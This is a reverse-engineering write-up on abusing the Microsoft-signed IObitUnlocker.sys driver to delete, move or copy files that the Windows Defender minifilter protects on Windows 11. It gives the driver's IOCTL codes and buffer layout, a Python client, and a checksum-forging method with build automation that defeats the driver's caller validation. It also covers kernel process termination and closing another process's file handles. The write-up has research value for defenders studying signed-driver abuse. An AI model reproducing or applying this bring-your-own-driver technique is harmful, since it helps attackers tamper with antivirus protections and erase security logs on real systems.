Author: Marek Wesołowski (WESMAR)
Date: 25 June 2026
Target: Windows 11 Pro 26H1, build 28000, fully patched
Driver: IObitUnlocker.sys v1.3.0.10, signed by Microsoft Windows Hardware Compatibility Publisher (2022-08-17)

PL: Pełny reverse engineering sterownika IObitUnlocker.sys — odzyskanie protokołu IOCTL, złamanie walidacji checksum callera, korekta błędnie rozpoznanych kodów operacji i budowa standalone narzędzia ForceIO (czyste C, bez CRT) do usuwania oraz przenoszenia plików i katalogów chronionych przez minifiltr WdFilter.sys na Windows 11 28000. Write-up dokumentuje cały proces łącznie ze ślepymi uliczkami.

EN: Full reverse engineering of the IObitUnlocker.sys WHCP-signed kernel driver — IOCTL protocol extraction, buffer layout correction, caller checksum validation bypass, operation-code correction, and a standalone no-CRT tool (ForceIO) for deleting, copying, and moving files and directories protected by the WdFilter.sys minifilter on Windows 11 28000. This writeup documents the entire process including dead ends.


Abstract

This document records the full reverse engineering of the IObitUnlocker.sys kernel driver — from the initial discovery of its minifilter-bypass capability, through several wrong turns in the IOCTL protocol, to the construction of a standalone tool called ForceIO that can delete, copy, and move files or directories protected by WdFilter.sys on a live, fully patched Windows 11 system.

A note on terminology

In the security literature, "BYOVD" (Bring Your Own Vulnerable Driver) typically refers to drivers with memory safety vulnerabilities — arbitrary read/write primitives exploitable from user mode. IObitUnlocker.sys is not vulnerable in that sense. It is an overpowered signed driver: it exposes legitimate but excessively powerful kernel-mode file operations through a weakly guarded IOCTL interface. The distinction matters — this driver does not appear on the Microsoft Vulnerable Driver Blocklist or in the LOLDrivers project (June 2026). It loads normally on systems with HVCI and Driver Signature Enforcement enabled. I use "BYOVD" loosely because the exploitation pattern — loading a signed third-party driver to gain kernel capabilities — follows the same ATT&CK technique (T1068).
A more precise term might be BYOPD — Bring Your Own Overpowered Driver — describing signed drivers that are not exploitable in the memory-safety sense, but expose excessively powerful kernel primitives through a weakly guarded interface.

The investigation established six results:

  1. The IOCTL protocol. The driver exposes exactly two IOCTL codes (0x222124 for file operations, 0x222128 for handle queries) through a 0x428-byte METHOD_BUFFERED buffer. The buffer layout documented in my initial analysis was incorrect — the corrected layout places SourcePath at offset +0x000, DestPath at +0x210, OperationType at +0x420, and Flags at +0x424.

  2. The anti-BYOVD validation. The driver reads the calling process's entire executable image from disk via ZwQueryInformationProcess(ProcessImageFileName)ZwCreateFileZwReadFile, and computes two checksums: a byte-wise XOR (== 0x2B) and an alternating add/subtract accumulator (== 0x00A88677). If either check fails, the driver returns STATUS_INVALID_PARAMETER (0xC000000D) without processing the IOCTL. This validation exists at IObitUnlocker.sys+0x3DC7.

  3. The bypass. Appending correction bytes to the compiled executable satisfies both checksum constraints without modifying the driver binary. The driver's Microsoft WHCP signature remains valid. The build script (build.ps1) automates the computation and patching.

  4. The real operation map. The final mapping is not what the first DLL pass suggested: OperationType=1 deletes, 2 is a flawed raw-IRP rename path, 3 performs a driver-side move/cut (copy plus source delete), and 4 performs copy without deleting the source. This distinction was the key to making directory move work.

  5. The capabilities. The driver provides kernel-mode file delete, move/cut, copy, directory recursion, process termination (ZwTerminateProcess), and foreign handle closure (ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE). The operations are exposed through a weakly guarded IOCTL interface and can bypass protection that blocks normal user-mode file APIs.

  6. The tool. ForceIO is a standalone PE32 executable compiled with /NODEFAULTLIB (no C runtime), using only kernel32, advapi32, and cabinet imports. The signed driver binary is LZX-compressed into a CAB archive appended to the application icon — at runtime, FDI decompresses it in memory and writes it to %SystemRoot%\forceio.dat. Each file operation runs a fully atomic driver session: create SCM service → start → execute IOCTL → stop → delete service → remove driver file. The service never persists in the registry between operations. No IObit DLL, no IObit EXE, no bloatware.

I'm writing this in chronological order, including the dead ends, because the failures are as instructive as the successes — each one revealed a constraint that shaped the final design.


1. Motivation

On the MyDigitalLife forum, user adric reported that cmdt.exe (my TrustedInstaller elevation tool) cannot delete Windows Defender log files:

C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service>cmdt_x64.exe -cli del *.log

Result: Access denied. TrustedInstaller elevation does not help because the restriction is enforced in the kernel, not by ACL or token checks. The file in question — Unknown.Log — is protected by WdFilter.sys, the Windows Defender minifilter driver, which intercepts I/O requests at a Filter Manager altitude above the file system.

I had been maintaining the kvcstrm custom driver for god-mode kernel primitives, but it is unsigned. I wanted a signed alternative for situations where my own driver infrastructure is unavailable. The IObit Unlocker program ships a free, WHCP-signed driver (IObitUnlocker.sys) that performs exactly this class of operation — force-deleting locked and protected files from kernel mode. The question was whether I could extract the driver protocol and build a standalone tool that uses only the .sys file, without any IObit usermode binaries.

1.1 Why not just use the IObit GUI?

The official IObit installer is frequently criticized for bundling potentially unwanted programs (PUPs). It relies on pre-checked, easy-to-miss checkboxes that can silently install third-party utilities like VPNs or screen recorders if you do not carefully opt out. Once deployed, the standard setup registers browser extensions, context menu integrations, an auto-updater service, and telemetry infrastructure that phones home. For my use case — a surgical file deletion from an admin command prompt — I wanted a clean, standalone solution that avoids bundled software and speaks to the driver directly.

1.2 The BYOVD approach

The strategy:

  1. Extract the signed .sys driver from the IObit installation.
  2. Reverse-engineer the IOCTL protocol.
  3. Write a standalone client that loads the driver via sc create / sc start and sends the appropriate DeviceIoControl call.
  4. Delete the target file.

The driver retains its original Microsoft signature. No driver modification needed. The usermode tool is our own code — no IObit dependency.

flowchart LR A[user-mode app
e.g. Remove-Item] -->|CreateFileW / NtSetInformationFile| B(I/O Manager) B --> C{WdFilter.sys
minifilter callback} C -->|protected path| D[ACCESS DENIED] C -->|normal path| E[NTFS completes I/O] F[ForceIO.exe] -->|DeviceIoControl
IOCTL 0x222124| G(IObitUnlocker.sys) G -->|ZwCreateFile + ZwSetInformationFile
kernel-mode, below minifilter| H[NTFS completes I/O] style D fill:#f66,stroke:#333,color:#fff style H fill:#6f6,stroke:#333,color:#000

2. Test Environment

Item Value
OS Windows 11 Pro 26H1, build 28000, fully patched
Driver IObitUnlocker.sys v1.3.0.10 (x64, AMD64)
PDB path d:\worker\huoqi\zhanghaitaosvn\project\driver\other\iobitunlocker\unlocker\driver\bin\Win7\amd64\IObitUnlocker.pdb
Driver SHA256 (from PDB header — original development path reveals Chinese origin)
Certificate Microsoft Windows Hardware Compatibility Publisher, 2022-08-17
DLL IObitUnlocker.dll (32-bit, PE32, Visual C++)
EXE IObitUnlocker.exe (32-bit, GUI)
Tools IDA Pro 9.1, CDB (Windows SDK 10.0.28000), Visual Studio 2026 Enterprise, Python 3.x, NASM

3. Phase 1 — Initial Static Analysis of the DLL

I began with the usermode DLL rather than the kernel driver, because the DLL is the natural starting point — it contains the CreateFileW and DeviceIoControl calls that define the communication protocol from the client side.

3.1 Exported functions

IDA disassembly of IObitUnlocker.dll revealed six exports:

Export Purpose
DriverStart Install SCM service, start driver, open device handle
DriverStop Stop SCM service
DriverUninstall Remove SCM service
DriverDumpInfo Query handle owners (IOCTL 0x222128)
DriverUnlockFile File operations (IOCTL 0x222124)
DriverEndSelf Close IObit Unlocker window via EnumWindows + WM_CLOSE

3.2 Device identification

push    offset FileName ; "\\\\.\\IObitUnlockerDevice"
call    ds:CreateFileW

The DLL opens the device with dwDesiredAccess = 0xC0100000 (GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE), dwShareMode = 3 (FILE_SHARE_READ | FILE_SHARE_WRITE), dwCreationDisposition = OPEN_EXISTING.

3.3 IOCTL codes

Two IOCTL codes, both METHOD_BUFFERED, FILE_ANY_ACCESS:

#define IOCTL_ULK_OPERATION     CTL_CODE(0x22, 0x849, METHOD_BUFFERED, FILE_ANY_ACCESS)  // = 0x00222124
#define IOCTL_ULK_QUERY_HANDLES CTL_CODE(0x22, 0x84A, METHOD_BUFFERED, FILE_ANY_ACCESS)  // = 0x00222128

Both use nInBufferSize = 0x428 (1064 bytes).

3.4 Tracing the buffer construction

In sub_10001BF0 (called by DriverUnlockFile), the buffer is allocated and filled:

push    428h            ; Size
call    ??2@YAPAXI@Z    ; operator new(0x428)
mov     esi, eax        ; esi = buffer base

; Zero entire buffer
push    428h
push    0
push    esi
call    _memset

; Set operation type and flags — AFTER zeroing
mov     eax, [ebp+BytesReturned]  ; actually the operation type parameter
or      edi, 3                     ; flags |= 3
mov     [esi+420h], eax           ; buffer[0x420] = operation type
mov     [esi+424h], edi           ; buffer[0x424] = flags | 3

; Copy source path to buffer START (offset 0!)
push    eax             ; size (max 0x210)
push    ebx             ; source path string
push    esi             ; buffer base ← offset 0x000, NOT 0x010!
call    _memcpy

And for the destination path (rename/copy operations):

lea     ebx, [esi+210h]    ; dest path at buffer + 0x210
push    edi                 ; source (dest path string)
push    ebx                 ; buffer + 0x210
call    _memcpy

3.5 The buffer layout

// CORRECT — from DLL disassembly
typedef struct _ULK_BUFFER {
    WCHAR   SourcePath[264];    // +0x000 (0x210 bytes, null-terminated)
    WCHAR   DestPath[264];      // +0x210 (0x210 bytes)
    ULONG   OperationType;      // +0x420
    ULONG   Flags;              // +0x424 (DLL always ORs with 0x3)
} ULK_BUFFER;                   // Total: 0x428 (1064 bytes)

The path fields occupy 264 WCHARs each (528 bytes), not 260. The operation type is at +0x420, not +0x000. The Source string constant in the DLL data section turned out to be simply L"\\" — a single backslash used for path normalization when the input is a bare drive letter like C:.

3.6 Operation type codes — first pass and final correction

From the DLL's normalisation logic, operations 3 and 4 looked at first like "copy file" and "copy directory". That was only half-true. The final driver-side behaviour is:

Code Operation Needs DestPath
1 Delete No
2 Raw rename Yes
3 Move / cut Yes
4 Copy Yes

The important correction is 3 vs 4: OperationType=3 is not a pure copy. It copies data through the driver and deletes the source afterwards. OperationType=4 is the true copy path and leaves the source intact.

This mistake mattered. A naive rename fallback implemented as "copy then delete" produced ERROR_DIR_NOT_EMPTY (145) on a protected Defender directory because the user-mode enumeration path could not see or remove everything. Switching the fallback to the driver's own OperationType=3 made the directory move succeed.


4. Phase 2 — Driver Kernel Imports and Capabilities

The driver's PE import table (single import from ntoskrnl.exe) reveals the full capability set. I reconstructed the Import Address Table by parsing the PE Import Directory at RVA 0xA084 using CDB:

cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<hint_rva>; q"

4.1 Full IAT mapping

IAT offset Function Category
+0x7000 ExAllocatePoolWithTag Memory
+0x7010 ExFreePoolWithTag Memory
+0x7018 IoDeleteDevice Device lifecycle
+0x7020 IofCompleteRequest IRP completion
+0x7028 IoCreateSymbolicLink Device lifecycle
+0x7030 IoCreateDevice Device lifecycle
+0x7038 _wcsnicmp String
+0x7040 ZwReadFile File I/O
+0x7048 IoGetRelatedDeviceObject IRP routing
+0x7050 MmGetSystemRoutineAddress Dynamic import
+0x7058 KeInitializeEvent Synchronization
+0x7060 ExInterlockedPopEntryList Interlocked list
+0x7068 KeDelayExecutionThread Retry delay
+0x7070 IoFileObjectType Object type for ObRef
+0x7078 ZwWaitForSingleObject Synchronization
+0x7080 ZwCreateFile File open
+0x7088 ExAllocatePool Memory (legacy)
+0x7090 IoGetCurrentProcess Process context
+0x7098 ZwClose Handle close
+0x70A0 ObReferenceObjectByHandle Handle → object
+0x70A8 KeWaitForSingleObject Synchronization
+0x70B0 RtlCompareUnicodeString String
+0x70B8 IoAllocateIrp Raw IRP construction
+0x70C0 ObfDereferenceObject Object deref
+0x70C8 ZwQueryInformationFile File info
+0x70D0 ZwWriteFile File I/O (copy)
+0x70D8 ObOpenObjectByPointer Object → handle
+0x70E0 DbgPrint Debug logging
+0x70E8 IofCallDriver Direct IRP dispatch
+0x70F0 _wcsicmp String
+0x70F8 PsGetProcessPeb Process info
+0x7100 PsLookupProcessByProcessId PID → EPROCESS
+0x7108 RtlInitUnicodeString String
+0x7110 KeSetEvent Synchronization
+0x7118 RtlAppendUnicodeToString String
+0x7120 IoCreateFile File open (kernel)
+0x7128 ZwQuerySystemInformation System queries
+0x7130 KeUnstackDetachProcess Process context
+0x7138 ObQueryNameString Object name
+0x7140 wcsrchr String
+0x7148 ZwQueryDirectoryFile Directory enum
+0x7150 _vsnwprintf Formatting
+0x7158 RtlAppendUnicodeStringToString String
+0x7160 ZwDuplicateObject Handle duplication
+0x7168 IoFreeIrp IRP cleanup
+0x7170 ZwOpenProcess Process open
+0x7178 PsGetCurrentProcessId Current PID
+0x7180 MmIsAddressValid Pointer validation
+0x7188 ZwTerminateProcess Process kill
+0x7190 ExInterlockedPushEntryList Interlocked list
+0x7198 KeStackAttachProcess Process context attach
+0x71A0 KeBugCheckEx Blue screen (critical)

4.2 Key capabilities

The import table reveals seven distinct kernel primitives:

  1. Force-deleteZwCreateFile(DELETE)ZwSetInformationFile(FileDispositionInformation)ZwClose. The file is marked for delete-on-close. If a SHARING_VIOLATION occurs, the driver retries with KeDelayExecutionThread.

  2. Raw rename — hand-built IRP_MJ_SET_INFORMATION with FileRenameInformation. This path exists but is not reliable for normal Win32 destination paths; it returned ERROR_INVALID_NAME in practical testing.

  3. Force-move / cut — driver-side copy followed by driver-side deletion of the source. This is the operation that made protected directory rename/move usable.

  4. Force-copyZwCreateFile(GENERIC_READ) source → ZwCreateFile(GENERIC_WRITE) destination → ZwReadFile/ZwWriteFile loop. This leaves the source intact.

  5. Directory recursionZwQueryDirectoryFile with FileDirectoryInformation, skip ., .., and $Extend\$RmMetadata\$TxfLog (NTFS transaction log).

  6. Process terminationPsLookupProcessByProcessIdZwTerminateProcess. Protected process list: System, csrss.exe, lsass.exe, lsm.exe, smss.exe, wininit.exe, winlogon.exe, userinit.exe, explorer.exe, IObitUnlocker.exe.

  7. Foreign handle closureZwOpenProcess(PROCESS_DUP_HANDLE)ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE. This closes a file handle held by another process without killing it.

  8. Raw IRP constructionIoAllocateIrp + IoGetRelatedDeviceObject + IofCallDriver. This is the mechanism used by the rename path and explains why its semantics differ from the higher-level ZwSetInformationFile path.

4.3 Dynamically resolved import

The driver uses MmGetSystemRoutineAddress in DriverEntry to resolve ZwQueryInformationProcess, storing the function pointer at .data+0x8150. This avoids declaring the import in the PE import table (possibly for compatibility with older Windows versions where the export may not exist).

4.4 Driver logging

The driver writes operational logs to \Device\HarddiskVolume1\unlocker.log (or \SystemRoot\unlocker.log as fallback):

ULKDeleteFile: 0x%08x, %wZ
ULKDeleteDirectoryItSelf: 0x%08x, %wZ
ULKRenameFile: 0x%08x
ULKCopyFile: 0x%08x, %wZ, %wZ
create file 0x%08x, %wZ
process name: %ws
ZwTerminateProcess: 0x%08x
ZwDuplicateObject: ProcessID: %I64u, 0x%08x

5. Phase 3 — First Attempt: Direct DeviceIoControl from Python

Armed with the corrected buffer layout from Phase 1, I wrote a Python client using ctypes to call DeviceIoControl directly. The approach seemed straightforward:

h = kernel32.CreateFileW(r"\\.\IObitUnlockerDevice", 0xC0000000, 3, None, 3, 0, None)

buf = bytearray(0x428)
path = r"C:\Temp\test.txt"
buf[0:len(path.encode('utf-16-le'))] = path.encode('utf-16-le')
struct.pack_into('<I', buf, 0x420, 1)  # OP_DELETE
struct.pack_into('<I', buf, 0x424, 3)  # Flags

kernel32.DeviceIoControl(h, 0x222124, in_buf, 0x428, out_buf, 4, byref(ret), None)

5.1 Result: STATUS_INVALID_PARAMETER

Every single IOCTL call returned error 87 (ERROR_INVALID_PARAMETER), which maps to NTSTATUS 0xC000000D. Both IOCTL codes failed. Different buffer sizes, content variations, output buffer sizes — all returned the same error.

I confirmed the exact NTSTATUS by calling NtDeviceIoControlFile from ntdll.dll:

ntdll.NtDeviceIoControlFile(h, None, None, None, byref(iosb),
    0x222124, byref(in_arr), 0x428, byref(out_arr), 4)
# → NTSTATUS = 0xC000000D

The device handle opened successfully (handle value 452 — a valid kernel object). The failure was in the IOCTL dispatch, not the device open.

5.2 Hypothesis: 64-bit vs 32-bit mismatch

The DLL is 32-bit (PE32). My Python was 64-bit. Could WOW64 cause buffer marshaling issues? For METHOD_BUFFERED, the I/O manager copies the buffer byte-for-byte regardless of caller bitness. This hypothesis was incorrect.

5.3 Hypothesis: process name validation

I renamed python.exe to IObitUnlocker.exe and ran the test again. Same error. The driver was not simply checking the process name.


6. Phase 4 — Driver Disassembly: The IOCTL Handler

Since the DLL-side protocol was correct but the driver rejected every call, I needed to disassemble the driver's IOCTL handler. Without symbols (PDB unavailable), I used CDB in offline mode:

cdb -z IObitUnlocker.sys -c "u IObitUnlocker+0x10d4 L60; q"

6.1 DriverEntry dispatch table

DriverEntry (at +0xA064) jumps to +0x10d4 after calling a runtime initialization stub at +0xA008. The dispatch table setup:

; rdi = DriverObject
mov     qword ptr [rdi+68h], rax    ; DriverUnload         = +0x123C
lea     rax, [IObitUnlocker+0x12b4]
mov     qword ptr [rdi+0E0h], rax   ; MajorFunction[14]    = +0x12B4  (IRP_MJ_DEVICE_CONTROL)
lea     rax, [IObitUnlocker+0x128c]
mov     qword ptr [rdi+70h], rax    ; MajorFunction[0]     = +0x128C  (IRP_MJ_CREATE)
mov     qword ptr [rdi+80h], rax    ; MajorFunction[2]     = +0x128C  (IRP_MJ_CLOSE — same handler)

6.2 IOCTL dispatch at +0x12B4

The handler reads the IO_STACK_LOCATION:

mov     rax, [rdx+0B8h]           ; Irp->Tail.Overlay.CurrentStackLocation
mov     ecx, [rax+18h]            ; Parameters.DeviceIoControl.IoControlCode
mov     r13d, [rax+8]             ; Parameters.DeviceIoControl.OutputBufferLength

Default status is set to STATUS_INVALID_PARAMETER:

mov     r15d, 0C000000Dh          ; STATUS_INVALID_PARAMETER
mov     [rdx+30h], r15d           ; Irp->IoStatus.Status = 0xC000000D

IRQL check (must be PASSIVE_LEVEL for usermode IOCTL dispatch):

mov     rax, cr8                  ; read IRQL from CR8
cmp     al, bl                    ; bl = 0 (PASSIVE_LEVEL)
jne     completion                ; fail if not PASSIVE

IOCTL routing:

sub     ecx, 222124h              ; check first code
je      operation_handler         ; → +0x14A7
cmp     ecx, 4                    ; 0x222128 - 0x222124 = 4
jne     completion                ; anything else → fail
; fall through to query handler

6.3 Buffer access from SystemBuffer

Both handlers read the buffer from Irp->AssociatedIrp.SystemBuffer at [rdi+18h]:

; Operation handler (+0x14A7):
mov     r12, [rdi+18h]             ; r12 = SystemBuffer
mov     r13d, [r12+420h]           ; OperationType at +0x420
mov     r14d, [r12+424h]           ; Flags at +0x424

This confirmed the DLL-side buffer layout from Phase 1 was correct. The driver reads OperationType from +0x420 and Flags from +0x424. The source path starts at +0x000.

6.4 The validation gate

Both IOCTL handlers call a validation function at +0x3CB0 before accessing the buffer:

call    IObitUnlocker+0x3cb0       ; validation
cmp     eax, ebx                   ; check NTSTATUS >= 0
jl      completion                 ; fail → default STATUS_INVALID_PARAMETER

If validation returns a negative NTSTATUS, the IOCTL handler bails immediately. This is where my Python calls were dying.

6.5 The operation switch

After validation, the file-operation handler dispatches on OperationType at buffer offset +0x420:

sub     r8d, 1
je      delete_path             ; OperationType = 1
sub     r8d, 1
je      raw_rename_path         ; OperationType = 2
sub     r8d, 1
je      move_cut_path           ; OperationType = 3
cmp     r8d, 1
je      copy_path               ; OperationType = 4

The first implementation of ForceIO treated OperationType=3 as copy because the DLL-side code looked like a copy helper and because the driver imports ZwReadFile / ZwWriteFile. That was wrong. A direct test showed the source disappears after OperationType=3; therefore it is a move/cut operation. OperationType=4 is the true copy operation.

6.6 The rename trap

The raw rename path (OperationType=2) opens the source and manually builds an IRP_MJ_SET_INFORMATION request containing FILE_RENAME_INFORMATION. It then calls IofCallDriver directly. That is clever, but it misses part of what the I/O Manager normally does for ZwSetInformationFile: resolving the target directory and setting up the file object context expected by the filesystem.

The symptom was consistent:

ForceIO.exe rename C:\...\aaa.txt C:\...\bbb.txt
[-] Failed, error=123 (0x0000007B)    ; ERROR_INVALID_NAME

Changing the destination format did not fix it. I tried normal Win32 paths, \??\C:\..., volume-relative paths, and full NT device paths. The reliable solution was not to force OperationType=2; it was to keep it as a first attempt and fall back to the driver's own OperationType=3 move/cut path.


7. Phase 5 — The Anti-BYOVD Validation

This was the core of the investigation. The validation function at +0x3CB0 implements a caller-verification mechanism designed to prevent third-party tools from using the driver.

flowchart TD A[IOCTL received] --> B[IoGetCurrentProcess] B --> C[ZwQueryInformationProcess
ProcessImageFileName = 27] C --> D[ZwCreateFile
open caller's EXE on disk] D --> E[ZwReadFile
read entire EXE into pool] E --> F[Compute XOR checksum
byte-wise XOR of all bytes] E --> G[Compute ALT checksum
alternating add/sub] F --> H{XOR == 0x2B?} G --> I{ALT == 0x00A88677?} H -->|no| J[STATUS_UNSUCCESSFUL
0xC0000001] I -->|no| J H -->|yes| I I -->|yes| K[STATUS_SUCCESS
proceed to IOCTL handler] style J fill:#f66,stroke:#333,color:#fff style K fill:#6f6,stroke:#333,color:#000

7.1 Step 1: Get caller's process image path

call    qword ptr [+0x7090]         ; IoGetCurrentProcess() → EPROCESS

; Check if ZwQueryInformationProcess was resolved
cmp     qword ptr [+0x8150], rsi    ; NULL check
je      skip_process_check

; Open the process to get a handle
mov     rcx, rax                    ; Object = EPROCESS
mov     edx, 200h                   ; HandleAttributes = OBJ_KERNEL_HANDLE
call    qword ptr [+0x70D8]         ; ObOpenObjectByPointer(EPROCESS, ...)

7.2 Step 2: Query process image filename

The inner function at +0x3A14 calls the dynamically-resolved ZwQueryInformationProcess:

lea     edx, [r9+1Bh]              ; ProcessInformationClass = 27 = ProcessImageFileName
mov     rcx, rsi                    ; ProcessHandle
call    rax                         ; ZwQueryInformationProcess(handle, 27, NULL, 0, &needed)
cmp     eax, 0C0000004h            ; STATUS_INFO_LENGTH_MISMATCH → got required size

After determining the required buffer size, it allocates pool with tag 'NELR', calls ZwQueryInformationProcess again to get the full path (e.g., \Device\HarddiskVolume3\Projekty\ForceIO\bin\ForceIO.exe), and copies it to the output buffer.

7.3 Step 3: Open and read the caller's executable

Function +0x3AF0 receives the process image path as a UNICODE_STRING and:

  1. Calls ZwCreateFile with DesiredAccess = GENERIC_READ, CreateOptions = FILE_NON_DIRECTORY_FILE.
  2. Calls ZwQueryInformationFile(FileStandardInformation) to get the file size.
  3. If size > 3 MB, handles it differently (truncation or skip).
  4. Allocates a pool buffer of the file's EndOfFile size with tag 'NELR'.
  5. Calls ZwReadFile to read the entire executable into kernel memory.

7.4 Step 4: Compute two checksums

The driver computes two checksums over the raw bytes of the executable image:

Checksum 1 — XOR accumulator:

; rdi = file buffer, r8 = file size, esi = 0 (initial)
xor_loop:
    movzx   eax, byte ptr [rcx]
    inc     r11d
    inc     rcx
    xor     esi, eax              ; esi ^= byte
    cmp     rax, r8
    jb      xor_loop
mov     [rbp], esi                ; store result

Checksum 2 — alternating add/subtract:

; edx = 0 (index), ebx = 0 (initial)
alt_loop:
    movzx   eax, byte ptr [rcx]
    test    dl, 1                 ; index & 1?
    jne     subtract
    add     ebx, eax              ; even index: accumulator += byte
    jmp     next
subtract:
    sub     ebx, eax              ; odd index: accumulator -= byte
next:
    inc     edx
    inc     rcx
    cmp     rax, r8
    jb      alt_loop
mov     [r12], ebx                ; store result

7.5 Step 5: The hardcoded comparison

This is the money shot, at +0x3DC7:

cmp     dword ptr [rsp+70h], 2Bh            ; XOR checksum == 0x2B?
jne     fail                                 ; → return STATUS_UNSUCCESSFUL
cmp     dword ptr [rsp+78h], 0A88677h        ; ALT checksum == 0x00A88677?
jne     fail                                 ; → return STATUS_UNSUCCESSFUL
xor     eax, eax                             ; return STATUS_SUCCESS
jmp     return

fail:
mov     eax, 0C0000001h                      ; STATUS_UNSUCCESSFUL

The driver hardcodes two magic constants: 0x2B and 0x00A88677. These are the XOR and alternating checksums of the original IObitUnlocker.exe binary (2,699,584 bytes). Any calling process whose executable does not produce these exact values is rejected.

7.6 Verification

def checksums(data):
    xor_s, alt_s = 0, 0
    for i, b in enumerate(data):
        xor_s ^= b
        alt_s += b if i % 2 == 0 else -b
    return xor_s & 0xFF, alt_s & 0xFFFFFFFF

with open('IObitUnlocker.exe', 'rb') as f:
    data = f.read()
print(checksums(data))  # → (0x2B, 0x00A88677) ✓

8. Phase 6 — Failed Bypass Attempts

Before finding the checksum solution, I tried several approaches that failed. Each failure is documented because they illuminate the validation mechanism.

8.1 Attempt: Rename Python to IObitUnlocker.exe

I copied python.exe to C:\Temp\IObitUnlocker.exe and ran the test script:

C:\Temp\IObitUnlocker.exe test_ioctl.py
→ ERROR 87 (STATUS_INVALID_PARAMETER)

Why it failed: The driver does not check the filename — it reads the file content and computes checksums. A differently-compiled binary with the same name fails.

8.2 Attempt: 32-bit DLL wrapper (ulk_client.exe)

I compiled a 32-bit C program using Visual Studio that loads IObitUnlocker.dll and calls DriverUnlockFile directly:

HMODULE hDll = LoadLibraryW(L"IObitUnlocker.dll");
pfnDriverStart pStart = (pfnDriverStart)GetProcAddress(hDll, "DriverStart");
pStart();  // returns 1 (success)
pUnlock(path, NULL, 1, 0, &result);  // returns 87!

DriverStart succeeded (returned 1, device handle opened). But DriverUnlockFile returned error 87.

Why it failed: The DLL calls DeviceIoControl from within our process context. The driver's IoGetCurrentProcess() returns our process (ulk_client.exe), not IObitUnlocker.exe. The driver reads ulk_client.exe from disk, computes its checksums, and rejects it.

8.3 Attempt: 32-bit PowerShell + C# interop

Considered using C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe with Add-Type to compile inline C# that P/Invokes the DLL. Abandoned this path when I realized the same caller-validation issue would apply regardless of which language makes the DeviceIoControl call.

8.4 Attempt: DLL injection into IObitUnlocker.exe

The idea: start the real IObitUnlocker.exe, inject our code via CreateRemoteThread, and have it call DriverUnlockFile from within the legitimate process context. This would work — the driver reads IObitUnlocker.exe from disk and the checksums match.

I did not pursue this because I found a simpler solution: the checksum bypass.


9. Phase 7 — The Checksum Bypass

The insight was that the checksums are simple linear functions over the byte stream. Appending additional bytes to the executable changes both checksums in a predictable way. Since the PE loader ignores data after the last PE section, appended bytes do not affect execution.

flowchart LR A[MSBuild
ForceIO.vcxproj] --> B[ForceIO.exe
~64 KB] B --> C[Compute checksums
XOR=0x77, ALT=0xFFFFA967] C --> D[Calculate delta
Δ_ALT ≈ 11M] D --> E["Append ~43K pairs
[0xFF, 0x00]"] E --> F["Append 4 correction bytes
[b0, b1, b2, b3]"] F --> G[Verify
XOR=0x2B ✓
ALT=0x00A88677 ✓] G --> H[ForceIO.exe
~150 KB
driver accepts] style B fill:#faa,stroke:#333,color:#000 style H fill:#6f6,stroke:#333,color:#000

9.1 Mathematical model

For a file of N bytes b[0], b[1], ..., b[N-1]:

  • XOR = b[0] ⊕ b[1] ⊕ ... ⊕ b[N-1]
  • ALT = b[0] - b[1] + b[2] - b[3] + ... (even indices add, odd indices subtract)

Appending a pair [a, b] at positions N (even), N+1 (odd):

  • XOR_new = XOR_old ⊕ a ⊕ b
  • ALT_new = ALT_old + a - b

9.2 Correction strategy

  1. Compute current checksums of the compiled EXE.
  2. Calculate the ALT difference: Δ_ALT = TARGET_ALT - current_ALT.
  3. Append ⌊Δ_ALT / 255⌋ pairs of [0xFF, 0x00] — each adds 255 to ALT and XORs the accumulator by 0xFF.
  4. Find 4 final bytes [b0, b1, b2, b3] that satisfy the remaining ALT correction and XOR correction simultaneously.
  5. Verify both checksums match the targets.

9.3 The 4-byte search

The final correction requires:

  • b0 ⊕ b1 ⊕ b2 ⊕ b3 = XOR_fix
  • b0 - b1 + b2 - b3 = ALT_remainder

This is a system of two equations in four unknowns with byte-range constraints (0 ≤ bᵢ ≤ 255). The search space is 256⁴ but can be decomposed into 256² × 256 with early pruning — typically runs in under a second.

9.4 Build script automation

The build.ps1 script automates the entire process:

# Compile through MSBuild
MSBuild.exe src\ForceIO.vcxproj /p:Configuration=Release;Platform=Win32

# Compute current checksums
$cs = Get-Checksums -Data $data
# Current:  XOR=0x77  ALT=0xFFFFA967
# Target:   XOR=0x2B  ALT=0x00A88677

# Calculate and append correction bytes
# Bulk pairs: 43398, remainder: 150
# Correction bytes: [32, 3, 124, 3]

# Verify
# Patched: 150800 bytes (appended 86800 bytes)
# ✓ XOR=0x2B  ALT=0x00A88677

The appended data is roughly 87 KB of [0xFF, 0x00] padding plus four correction bytes. This is PE overlay data; the Windows loader ignores it, but the driver checksum loop reads it from disk.

9.5 Why the padding is irreducible

The ~87 KB overhead is not an implementation shortcoming — it is the mathematical minimum. The compiled ForceIO binary produces an ALT checksum near 0xFFFFB400 (a large negative value in unsigned 32-bit space). The target is 0x00A88677. The unsigned modular distance is approximately 0x00A8D277 ≈ 11,064,951. Each [0xFF, 0x00] pair contributes +255 to the ALT accumulator without disturbing the XOR constraint (since 0xFF ⊕ 0x00 = 0xFF, and an even count of such pairs cancels out). This requires ⌈11,064,951 / 255⌉ ≈ 43,392 pairs = 86,784 bytes of padding.

No alternative byte pattern can close the gap faster:

  • A single even-position byte adds at most +255 to ALT.
  • A single odd-position byte subtracts at most −255 (adding 255 when the gap is positive means using 0x00 at odd positions).
  • The pair [0xFF, 0x00] is already the maximum-efficiency correction unit.

This was verified by exhaustive analysis: there is no 2-byte or 4-byte solution that satisfies both XOR and ALT constraints simultaneously for a gap of ~11 million. The bulk padding is the only path, and it runs in a single linear pass — no brute force, no iteration. Only the final 4-byte corrector requires a search (decomposed to 256² × 256 with pruning, completes in milliseconds).

The result is a PE overlay that is mathematically minimal, deterministic, and reproducible across builds. The Windows PE loader ignores overlay data entirely — it is never mapped into memory, never executed, and has no effect on runtime behaviour. The driver, however, reads the file from disk via ZwReadFile and checksums every byte including the overlay.

The obvious alternative — patching the driver to skip the checksum validation — would require modifying only 4 bytes (two jneNOP NOP at +0x3DCC and +0x3DD6). However, any modification to the .sys binary invalidates its Microsoft WHCP Authenticode signature, and the driver will refuse to load on any system with Driver Signature Enforcement enabled — which is the default on all supported Windows 10/11 configurations. The ~87 KB of padding is the price of preserving the original signature. See §12.3 for the full analysis of the driver-patching alternative.


